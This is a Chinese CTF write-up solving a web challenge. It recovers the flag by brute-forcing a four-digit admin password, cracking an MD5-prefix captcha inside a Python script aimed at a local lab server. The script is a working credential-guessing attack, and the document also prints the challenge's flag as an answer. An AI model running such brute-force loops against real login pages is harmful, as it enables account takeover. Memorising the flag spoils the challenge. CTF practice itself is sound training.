Web

0x03 HEBTU后台管理

题目描述：小x同学找到了HEBTU的后台管理，可是他登录不上去，你可以帮帮他么？

考查内容：爆破

难易程度：中->难

Flag：HEBTUCTF{Bru7e\_f0rC3\_233}

解题过程：

打开题目查看源码，发现提示了密码的范围：纯数字4位数，并且看到登录还有验证码？！（还要爆破验证码……）（这里这样写是因为考虑到服务器可能扛不住，所以放缓了大家爆破的速度）看来不能使用bp爆破了。这里使用脚本，附脚本：

import requests

import re

import hashlib

header={

'Host': '127.0.0.1',

'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:62.0) Gecko/20100101 Firefox/62.0',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8',

'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',

'Accept-Encoding': 'gzip, deflate',

'Referer': 'http://127.0.0.1/baopo.php',

'Cookie': 'Hm\_lvt\_34d6f7353ab0915a4c582e4516dffbc3=1537151426,1537158118; Hm\_lpvt\_34d6f7353ab0915a4c582e4516dffbc3=1537158125; Hm\_cv\_34d6f7353ab0915a4c582e4516dffbc3=1\*visitor\*%E6%B8%B8%E5%AE%A2; PHPSESSID=dsgjpefe58dkqjb7nvm0n5a617',

'Connection': 'keep-alive'

}

for i in range(9999):

r2=requests.get(url='http://127.0.0.1/baopo.php',headers=header)

r2.encoding='utf-8'

vcode=re.findall('[0-9a-f]{5}',r2.text)[0]

for j in range(10000):

if hashlib.md5(j).hexdigest()[0:5]==vcode:

break

url='http://127.0.0.1/baopo.php?username=admin&password={0}&randcode={1}'.format(str(i).zfill(4),str(j))

r1=requests.get(url=url,headers=header)

r1.encoding='utf-8'

if "HEBTUCTF" in r1.text:

print r1.text,i

break

else :

print i

脚本需要依据具体环境进行修改，只是一个参考，大致框架已经给出，从而拿到flag